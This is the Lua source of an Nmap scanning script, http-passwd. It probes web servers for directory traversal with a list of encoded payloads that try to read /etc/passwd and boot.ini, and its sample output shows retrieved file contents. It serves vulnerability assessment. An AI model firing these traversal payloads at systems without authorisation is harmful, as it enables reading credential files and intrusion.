mirror of
https://github.com/nmap/nmap.git
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138 lines
4.2 KiB
Lua
138 lines
4.2 KiB
Lua
description = [[
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Checks if a web server is vulnerable to directory traversal by attempting to
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retrieve <code>/etc/passwd</code> or <code>\boot.ini</code> using various traversal methods such as
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requesting <code>../../../../etc/passwd</code>.
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]]
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---
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-- @output
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-- 80/tcp open http
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-- | http-passwd: Directory traversal found.
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-- | Payload: "index.html?../../../../../boot.ini"
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-- | Printing first 250 bytes:
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-- | [boot loader]
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-- | timeout=30
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-- | default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
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-- | [operating systems]
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-- |_multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
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--
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--
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-- 80/tcp open http
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-- | http-passwd: Directory traversal found.
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-- | Payload: "../../../../../../../../../../etc/passwd"
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-- | Printing first 250 bytes:
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-- | root:$1$$iems.VX5yVMByaB1lT8fx.:0:0::/:/bin/sh
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-- | sshd:*:65532:65534::/:/bin/false
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-- | ftp:*:65533:65534::/:/bin/false
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-- |_nobody:*:65534:65534::/:/bin/false
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-- 07/20/2007:
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-- * Used Thomas Buchanan's HTTPAuth script as a starting point
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-- * Applied some great suggestions from Brandon Enright, thanks a lot man!
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--
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-- 01/31/2008:
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-- * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
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-- needed cleaning up
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--
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-- 06/2010:
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-- * Added Microsoft Windows (XP and previous) support by also looking for
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-- \boot.ini
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-- * Added specific payloads according to vulnerabilities published against
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-- various specific products.
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author = "Kris Katterjohn, Ange Gutek"
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license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
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categories = {"intrusive", "vuln"}
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require "shortport"
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require "http"
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--- Validates the HTTP response code and checks for a <code>valid</code> passwd
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-- or Windows Boot Loader format in the body.
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--@param response The HTTP response from the server.
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--@return The body of the HTTP response.
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local validate = function(response)
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if not response.status then
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return nil
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end
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if response.status ~= 200 then
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return nil
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end
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if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("\[boot loader\]") then
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return response.body
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end
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return nil
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end
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--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
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--- hex equivalents
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--@param str String to hexify.
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--@return Transformed string.
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local hexify = function(str)
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local ret
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ret = str:gsub("%.", "%%2E")
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ret = ret:gsub("/", "%%2F")
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ret = ret:gsub("\\", "%%5C")
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return ret
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end
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--- Truncates the <code>passwd</code> or <code>boot.ini</code> file.
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--@param passwd <code>passwd</code> or <code>boot.ini</code>file.
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--@return Truncated passwd file and truncated length.
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local truncatePasswd = function(passwd)
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local len = 250
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return passwd:sub(1, len), len
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end
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--- Formats output.
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--@param passwd <code>passwd</code> or <code>boot.ini</code> file.
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--@param dir Formatted request which elicited the good reponse.
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--@return String description for output
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local output = function(passwd, dir)
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local trunc, len = truncatePasswd(passwd)
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local out = ""
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out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
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out = out .. "Printing first " .. len .. " bytes:\n"
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out = out .. trunc
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return out
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end
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portrule = shortport.port_or_service({80, 443, 8080}, {"http", "https"})
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action = function(host, port)
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local dirs = {
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hexify("//etc/passwd"),
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hexify(string.rep("../", 10) .. "etc/passwd"),
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hexify(string.rep("../", 10) .. "boot.ini"),
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hexify(string.rep("..\\", 10) .. "boot.ini"),
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hexify("." .. string.rep("../", 10) .. "etc/passwd"),
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hexify(string.rep("..\\/", 10) .. "etc\\/passwd"),
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hexify(string.rep("..\\", 10) .. "etc\\passwd"),
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-- These don't get hexified because they are targeted at
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-- specific known vulnerabilities.
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'%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini',
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'%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini',
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'\\\\..%2f..%2f..%2f..%2fboot.ini% ../',
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'index.html?../../../../../boot.ini',
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'index.html?..\\..\\..\\..\\..\\boot.ini',
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'..\\\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\boot.ini',
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'///..%2f..%2f..%2f..%2fboot.ini',
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'/..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini'
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}
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for _, dir in ipairs(dirs) do
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local response = http.get(host, port, dir)
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if validate(response) then
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return output(response.body, dir)
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end
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end
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end
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